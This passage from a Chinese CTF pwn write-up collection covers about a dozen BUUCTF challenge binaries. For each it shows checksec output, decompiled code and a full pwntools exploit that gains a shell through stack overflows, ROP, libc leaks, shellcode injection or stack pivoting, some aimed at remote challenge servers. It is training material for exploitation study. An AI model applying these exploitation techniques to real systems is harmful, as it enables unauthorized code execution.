print "payload:"+str(payload)
log.info(p.recvuntil("What's your name?"))
p.sendline(payload)
p.interactive()
checksec
ios@ubuntu:~/APwn/buuctf$ checksec not_the_same_3dsctf_2016
[*] '/home/ios/APwn/buuctf/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$
查看下代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}
函数很简单 给了gets 存在栈溢出
这里我使用了之前题目的方法
使用 mprotect() 修改一块地址段权限为可读可写可执行
接着rop构造read 在该地址段写入shellcode 从而getshell
如果还是没弄明白的可以参考上文
from pwn import *
context.log_level='debug'
p=process('./not_the_same_3dsctf_2016')
elf=ELF('not_the_same_3dsctf_2016')
read_plt=elf.sym['read']
ss=0x080ea000
mprotect=0x806ED40
pop3=0x0804f420# pop ebx ; pop esi ; pop ebp ; ret
shellcode=asm(shellcraft.sh())
payload='a'*45+p32(mprotect)+p32(pop3)+p32(0x080ea000)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#gdb.attach(p, "b *" + "0x80489E0")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
###
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec HarekazeCTF2019_babyrop
[*] '/home/ios/APwn/buuctf/HarekazeCTF2019_babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$
查看代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]
system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", &v4);
printf("Welcome to the Pwn World, %s!\n", &v4);
return 0;
}
只开了nx且存在栈溢出
发现给了system函数
shift+f12搜索字符串
.data:0000000000601048 00000008 C /bin/sh
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2
.eh_frame:0000000000400787 00000006 C ;*3$\"
LOAD:000000000040039B 0000000C C GLIBC_2.2.5
LOAD:0000000000400391 0000000A C GLIBC_2.7
.rodata:00000000004006C8 0000001F C Welcome to the Pwn World, %s!\n
LOAD:0000000000400382 0000000F C __gmon_start__
LOAD:0000000000400353 0000000F C __isoc99_scanf
LOAD:0000000000400370 00000012 C __libc_start_main
.rodata:00000000004006A8 0000001D C echo -n \"What's your name? \"
LOAD:0000000000400349 0000000A C libc.so.6
LOAD:0000000000400362 00000007 C printf
LOAD:0000000000400369 00000007 C system
看到也给了/bin/sh 那就很简单了
找一个gadget pop rdi ret。传sh地址 接着ret到system就可以起shell了
from pwn import *
p=process('HarekazeCTF2019_babyrop')
pop_rdi=0x0000000000400683 # pop rdi ; ret
payload="a"*0x10+'b'*8+p64(pop_rdi)+p64(0x601048)+p64(0x400490)
p.sendline(payload)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_s_3
[*] '/home/ios/APwn/buuctf/ciscn_2019_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$
查看源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
main调用vuln
signed __int64 vuln()
{
signed __int64 result; // rax
__asm { syscall; LINUX - sys_read }
result = 1LL;
__asm { syscall; LINUX - sys_write }
return result;
}
汇编 执行syscall 调用系统号 read 接着执行syscall 调用系统号 write
而64位执行syscall时 系统号存入rax
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
看汇编可以知道 xor 这里将rax值变为0
查系统调用

0在64位中为系统调用read
继续看代码
.text:0000000000400503 mov rax, 1
这里rax=1 查系统调用

和f5编译过来一致
接着debug测试read 找是否存在溢出
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400519 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x30
RBX 0x0
RCX 0x400519 (vuln+44) ◂— ret
RDX 0x30
RDI 0x1
RSI 0x7fffffffdcf0 ◂— 0x4173414125414141 ('AAA%AAsA')
R8 0x4005b0 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7ac0 (_dl_fini) ◂— push rbp
R10 0x846
R11 0x246
R12 0x4003e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffde00 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
RSP 0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
RIP 0x400519 (vuln+44) ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x400519 ret <0x41412d4141434141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
01:0008│ 0x7fffffffdd08 ◂— 0x413b414144414128 ('(AADAA;A')
02:0010│ 0x7fffffffdd10 ◂— 0x6141414541412941 ('A)AAEAAa')
03:0018│ 0x7fffffffdd18 ◂— 0x4141464141304141 ('AA0AAFAA')
04:0020│ 0x7fffffffdd20 ◂— 0x4147414131414162 ('bAA1AAGA')
05:0028│ 0x7fffffffdd28 ◂— 0x4841413241416341 ('AcAA2AAH')
06:0030│ 0x7fffffffdd30 ◂— 0x4141334141644141 ('AAdAA3AA')
07:0038│ 0x7fffffffdd38 ◂— 0x4134414165414149 ('IAAeAA4A')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 400519 vuln+44
f 1 41412d4141434141
f 2 413b414144414128
f 3 6141414541412941
f 4 4141464141304141
f 5 4147414131414162
f 6 4841413241416341
f 7 4141334141644141
f 8 4134414165414149
f 9 3541416641414a41
f 10 41416741414b4141
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41412d4141434141
4702089244242559297 found at offset: 16
gdb-peda$
得到存在溢出 偏移为16
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn
题目中给出一函数gadget 查看汇编可以发现有两段调用号
rax=0xf、rax=0x3B


得到两个系统调用 rt_sigreturn和execve
给了两个系统调用 我们采用execve调用来执行binsh
函数的原型:
int execve(const char *filename, char *const argv[], char *const envp[]);
我们需要完成构造execve(‘bin/sh’,0,0)
64位中我们可以采用通用gadget进行rop
__libc_csu_init
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
此处有三段gadget
gadget1
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
ret后接gadget2
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
方便getshell的gadget3
.text:00000000004005A3 分割pop r15 可以得到 pop rdi
本题有区别的地方是 如果使rbp=1 在执行完gadget2后填充56字节到ret是不可行的,填充后会溢出stack 无法构造rop
首先需要确定输入binsh后的地址
在执行syscall前下断 可以找到对应栈地址

接着查看write的输出

看到这里有打印出栈中地址 通过多次debug 确定该地址距离binsh偏移固定
gdb-peda$ p/x 0x7ffc6ae754b8- 0x7ffc6ae753a0
$1 = 0x118
gdb-peda$
所以第一次溢出主要目的写入 binsh以及leak写入地址 控制ret重新载入vuln
gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)
p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118
第二次则需要利用三段gadget进行参数控制 构造execve(‘bin/sh’,0,0)
这里也需要注意 如果rbp=0 时 gadget2 中会满足jnz跳转 跳转后再次执行gadget2
且第一次执行时会call r12,再次跳转会执行payload中gadget2的下一位地址
之后调用gadget3 rdi赋值为sh地址 ret syscall 即可getshell
留个小坑 后面继续搞
from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_s_3')
#define __NR_rt_sigreturn 15
sigreturn=0x4004DA# mov rax, 0Fh
#define __NR_execve 59
execve=0x4004E2# mov rax, 3Bh
gadget1=0x40059A#pop rbx rbp r12 r13 r14 r15
gadget2=0x400580#mov rdx r13 ,mov rsi r14 call r12
gadget3=0x4005A3#pop rdi ret
vuln=0x4004ED
syscall=0x400517
gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)
p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118
#sh_addr+0x50 -> 0x4004E2
payload2="/bin/sh\x00"*2+p64(gadget1)+p64(0)+p64(0)+p64(sh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(gadget2)+p64(execve)+p64(gadget3)+p64(sh_addr)+p64(syscall)
p.send(payload2)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec level0
[*] '/home/ios/APwn/buuctf/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看源代码
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
这题没啥难度 给了shell
直接溢出到ret起shell
确定偏移
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
gdb-peda$
from pwn import *
p=process('./level0')
payload="a"*136+p64(0x400596)
p.sendline(payload)
p.interactive()
在无put write时利用printf 泄漏地址
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec babyrop2
[*] '/home/ios/APwn/buuctf/babyrop2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[28]; // [rsp+0h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ", 0LL);
v3 = read(0, buf, 0x100uLL);
v6 = v3;
buf[v3 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}
很直观buf会被溢出
基本思路 leak 函数地址 计算偏移 getshell
题目没用write puts用了printf 所以我们就来利用printf 来leak函数地址
首页printf如何输出地址?
printf(&read)或者printf("格式化字符串",&read)
需要构造成这样
这里的格式化可以通过题目中有的或者find得到去构造
64位参数传递需要通过寄存器
从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递
这里我们第一个参数 fmtstr 通过find 字符串格式化
gdb-peda$ find %s
Searching for '%s' in: None ranges
Found 292 results, display max 256 items:
babyrop2 : 0x400790 --> 0xa217325 ('%s!\n')
babyrop2 : 0x600790 --> 0xa217325 ('%s!\n')
libc : 0x7ffff7a38860 (<_nl_find_locale+768>: and eax,0x397373)
libc : 0x7ffff7b3d6a7 (<_openchild+23>: and eax,0x85fffc73)
libc : 0x7ffff7b9964a --> 0x72740a000a0a7325 ('%s\n\n')
libc : 0x7ffff7b99666 --> 0x617473000a0a7325 ('%s\n\n')
libc : 0x7ffff7b99d93 ("%s%s%s%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d95 ("%s%s%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d97 ("%s%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d99 ("%s%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d9b ("%s%s%s%s%s%s\n")
libc : 0x7ffff7b99d9d ("%s%s%s%s%s\n")
libc : 0x7ffff7b99d9f ("%s%s%s%s\n")
libc : 0x7ffff7b99da1 --> 0xa732573257325 ('%s%s%s\n')
libc : 0x7ffff7b99da3 --> 0x4e49000a73257325 ('%s%s\n')
libc : 0x7ffff7b99da5 --> 0x4f464e49000a7325 ('%s\n')
libc : 0x7ffff7b99e44 ("%s%sUnknown signal %d\n")
libc : 0x7ffff7b99e46 ("%sUnknown signal %d\n")
libc : 0x7ffff7b99f0c ("%s%ssignal %d\n")
libc : 0x7ffff7b99f0e ("%ssignal %d\n")
libc : 0x7ffff7b99f4d --> 0x5d70255b00207325 ('%s ')
libc : 0x7ffff7b99f6f --> 0x6375530028207325 ('%s (')
libc : 0x7ffff7b9af41 ("%s%s%s[%p] ")
libc : 0x7ffff7b9af43 ("%s%s[%p] ")
--More--(25/257)
发现程序中存在%s 那我们就利用%s获取
接着需要传入格式化的值通过顺位第二个寄存器rsi存入read_got
接着ret到printf_plt即可完成泄漏
后续就是计算system与binsh addr getshell
from pwn import *
context.log_level = 'debug'
p=process('./babyrop2')
elf=ELF('babyrop2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_plt=elf.sym['printf']
read_got=elf.got['read']
pop_rdi=0x0000000000400733# : pop rdi ; ret
pop_rsi=0x0000000000400731# : pop rsi ; pop r15 ; ret
fmt=0x400790
main=0x400636
payload="a"*0x20+'b'*8+p64(pop_rdi)+p64(fmt)+p64(pop_rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
p.sendline(payload)
read=u64(p.recv()[-26:-20].ljust(8,'\x00'))
print hex(read)
system=read-libc.sym['read']+libc.sym['system']
sh=read-libc.sym['read']+next(libc.search('/bin/sh'))
print hex(sh)
payload1="a"*0x20+'b'*8+p64(pop_rdi)+p64(sh)+p64(system)
p.sendline(payload1)
p.interactive()
这题不多说了 之前也是做过的 直接getshell就好
from pwn import *
p=process('level2')
system=0x8048320
sh=0x804A024
payload='a'*0x88+'b'*4+p32(system)+p32(0x1553155)+p32(sh)
p.sendline(payload)
p.interactive()
基本栈溢出 ret_shellcode
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_n_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_n_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ios@ubuntu:~/APwn/buuctf$
保护全关
exp
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#p=process('./ciscn_2019_n_5')
p=remote('node3.buuoj.cn',25965)
sh=asm(shellcraft.amd64.sh())
p.sendline(sh)
p.recvuntil('What do you want to say to me?')
payload='a'*(0x20+0x8)+p64(0x601080)
p.sendline(payload)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec r2t3
[*] '/home/ios/APwn/buuctf/r2t3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-408h]
my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, &buf, 0x400u);
name_check(&buf);
puts("Welcome ,u win!");
return 0;
}
read 读入0x400大小的字符串放入buf中 且此处不存在溢出
调用函数 name_check(&buf);
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}
对输入的s 检测长度存存入v3 (这里strlen存在两个问题 1.可以通过\x00 截断控制长度 2.在32位中寄存器可存放长度为255,如果我们输入字符串长度为256 则寄存器会溢出 得到的字符串长为1)

EAX为实际长度,EDX为此时strlen返回的值也就是v3
继续向下
strcpy(&dest, s);
strcpy 会复制s中的字符串(直到读到\x00停止)到dest中 ,所以这道题目不能使用\x00绕过,而应该采取第二种溢出strlen的返回值即可

可以看到 如果我们发送的字符串长度为0x104(260)则溢出后的v3=EDX=0x4 满足判断条件>=3 <8
题目中给了binsh 以及system地址 因为system没有在程序中调用过 我们还需要从plt开始完成调用
from pwn import *
context.log_level='debug'
p=process('./r2t3')
binsh=0x8048760
system=0x8048430
print len(p32(binsh))
p.recvuntil('name')
gdb.attach(p)
#payload=
payload="a"*0x11+"bbbb"+p32(system)+p32(0x1553155)+p32(binsh)
payload+="v"*(260-len(payload))
p.send(payload)
p.interactive()
简单溢出

from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babystack')
p=remote('node3.buuoj.cn',25988)
p.recvuntil('name')
p.sendline(str(100))
p.recvuntil('name')
payload="a"*24+p64(0x4006E6)
p.sendline(payload)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_ne_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_ne_5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$
ida分析

题目需要先输入 密码然后返回菜单
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
addlog函数读入字符串 长度为128,a1为src
int __cdecl Display(char *s)
{
return puts(s);
}
puts打印我们刚输入的字符串
int Print()
{
return system("echo Printing......");
}
print给了system ,我们可以考虑利用这里的system参数sh或者bin/sh参数getshell
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h]
char v3; // [esp+4h] [ebp-44h]
*(_DWORD *)dest = 0x30;
memset(&v3, 0, 0x3Cu);
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}
strcpy 存在溢出 覆盖0x48+0x4即可到ret(这里要注意strcpy的性质简单\x00就截断,所以如果构造调试发现没有溢出 问题就出在这里!)
刚开始我认为这道题目需要ret2libc 然后getshell,但是调试发现binsh地址被截断无法溢出
gdb find sh 发现存在sh 所以可以考虑溢出跳转到print函数调用system前 push edx后 getshell

我们用fflush中的sh来进行getshell
from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_ne_5')
p=remote('node3.buuoj.cn',26812)
elf=ELF('ciscn_2019_ne_5')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
main=0x8048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('1')
payload='a'*76+p32(0x80486B7)+p32(0x80482ea)
p.sendline(payload)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('2')
#gdb.attach(p)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('4')
p.interactive()
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ida分析
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n((int)&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)&nptr, v2);
return printf("You said: %s\n", &nptr);
}
v2存在问题
这里会有有符号和无符号数的转化 ,如果传入负数会进行负数到正数的转化导致:v2=-1 (绕过if判断) 然后再get_n中 v2被定义成了无符号 整型出现v2=4294967295
unsigned int __cdecl get_n(int input, unsigned int size) //这里的size就是传入的v2
{
unsigned int v2; // eax
unsigned int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]
这样的转换会使v2从负数变为正数4294967295 从而导致溢出nptr
然后就可以常规ret2libc就能getshell了
from pwn import *
context.log_level='debug'
#p=process('./pwn2_sctf_2016')
p=remote('node3.buuoj.cn',26491)
elf=ELF('pwn2_sctf_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
printl_plt=elf.sym['printf']
printl_got=elf.got['printf']
p.recvuntil('?')
p.sendline('-1')
#gdb.attach(p)
p.recvuntil('!')
payload="a"*0x30+p32(printl_plt)+p32(0x80485B8)+p32(printl_got)+p32(0x8048702)
p.sendline(payload)
p.recvuntil("\x0a")
p.recvuntil("\x0a")
printf=u32(p.recv(4))
print hex(printf)
base=printf-0x049020
system=base+0x03a940
binsh=base+0x15902b
p.recvuntil('?')
p.sendline('-1')
p.recvuntil('!')
payload="a"*0x30+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
#gdb.attach(p)
p.interactive()
检查保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}
int be_nice_to_people()
{
__gid_t v0; // ST1C_4
v0 = getegid();
return setresgid(v0, v0, v0);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
获取当前运行程序的id 如果是root则为0
修改程序权限为当前运行权限
ssize_t vulnerable_function()
{
char buf; // [esp+10h] [ebp-88h]
return read(0, &buf, 0x100u);
}
存在溢出
可以利用write leak libc

主要write函数的参数以及堆栈排布
payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)
所以对应构造堆栈排布即可leak
from pwn import *
context.log_level='debug'
#p=process('./2018_rop')
p=remote('node3.buuoj.cn',28487)
libc=ELF('libc/18/x86-libc-2.27.so')
elf=ELF('2018_rop')
write=elf.sym['write']
read=elf.got['read']
#gdb.attach(p)
payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)
p.sendline(payload)
read=u32(p.recv())
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload="a"*0x8c+p32(system)+p32(0x15553)+p32(binsh)
p.sendline(payload)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ez_pz_hackover_2016
[*] '/home/ios/APwn/buuctf/ez_pz_hackover_2016'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
ida分析
int chall()
{
size_t v0; // eax
int result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 0xA, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}
memchr函数用于取\n(0xa)之前的数据,该函数返回一个指向匹配字节的指针,如果在给定的内存区域未出现字符,则返回 NULL。
然后看到strcmp函数 需要满足出现crashme才可以触发vuln函数,这里用到\x00进行截断 strcmp只会比较\x00之前的数据,所以可以在\x00后面来布置rop
void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]
return memcpy(&dest, &src, n);
}
就进行了一个复制 大小为0x400 但是dest不可能存放这么多数据 所以会产生溢出,溢出可以通过gdb调试获得
leak fgets接着构造rop进行getshell即可
from pwn import *
context.log_level='debug'
context.arch='i386'
p=process('./ez_pz_hackover_2016')
elf=ELF('ez_pz_hackover_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
fmt=0x804884e
printf=elf.sym['printf']
fgets=elf.got['fgets']
#gdb.attach(p)
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(printf)+p32(0x80486E2)+p32(fmt)+p32(fgets)
p.sendline(payload)
p.recvuntil('Welcome')
fget=u32(p.recvuntil('\xf7')[-4:])
print hex(fget)
base=fget-libc.sym['fgets']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()
简单rop
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}
read存在溢出,给了puts函数 可以leak puts=>getshell
from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babyrop')
p=remote('node3.buuoj.cn',28711)
elf=ELF('bjdctf_2020_babyrop')
libc=ELF('libc/16/x64-libc-2.23.so')
#gdb.attach(p)
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
pop_rdi=0x0000000000400733# : pop rdi ; ret
payload="a"*40+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
p.recvuntil('!')
p.sendline(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('!')
payload="a"*40+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_es_2
[*] '/home/ios/APwn/buuctf/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
32位有puts 考虑可能需要leak puts
int vul()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}
read存在问题 读入0x30 可以溢出(8字节) 4字节ebp、4字节ret
虽然题目给了system(“echo flag”) 但是远程环境并没有echo这个参数 所以考虑栈迁移
调试可以测试出我们读入的s的栈地址 ,第一次溢出用于leak 栈地址+返回main函数。第二次溢出构造栈迁移到s_stack地址(leak出的地址是我们输入的地址 所以第二次溢出的数据可以构造rop)
构造 leak puts+1次read读入 返回system 起shell
from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
read_plt=elf.sym['read']
leave_ret=0x080484b8# : leave ; ret
#p=remote('node3.buuoj.cn',25556)
payload='bbbb'+'a'*0x28+p32(0x80485FF)
gdb.attach(p)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\xf7')
stack=u32(p.recv(4))-0x60 //这里的stack可以自行gdb调试一下
print hex(stack)
payload='cccc'+'c'*0x1c
p.send(payload)
p.recvuntil('Hello')
payload='d'*0x30+p32(stack)+p32(puts_plt+4)+p32(read_plt)+p32(puts_got)+p32(0)+p32(stack+4)+p32(0x10)+p32(0x1553155)
payload+='f'*(0x58-len(payload))+p32(stack)+p32(leave_ret)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\x0a')
p.recvuntil('\x0a')
puts=u32(p.recv(4))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload=p32(system)+p32(0x1553155)+p32(binsh)
p.send(payload)
p.interactive()
本地测试成功getshell 不知道为啥远程还是有问题

后面发现自己做的复杂了2333
题目很有意思
给定ssh

直接读取flag是没有权限的,需要通过test来进行读取
ctf@a9a029a6e619:~$ ls -l
total 20
-rw-r----- 1 root ctf_pwn 43 Aug 4 12:36 flag
-r-xr-sr-x 1 root ctf_pwn 8920 Mar 18 05:46 test
-rw-r--r-- 1 root ctf_pwn 812 Mar 18 05:46 test.c
ctf@a9a029a6e619:~$
cat test.c 可以看代码
ctf@a9a029a6e619:~$ cat test.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
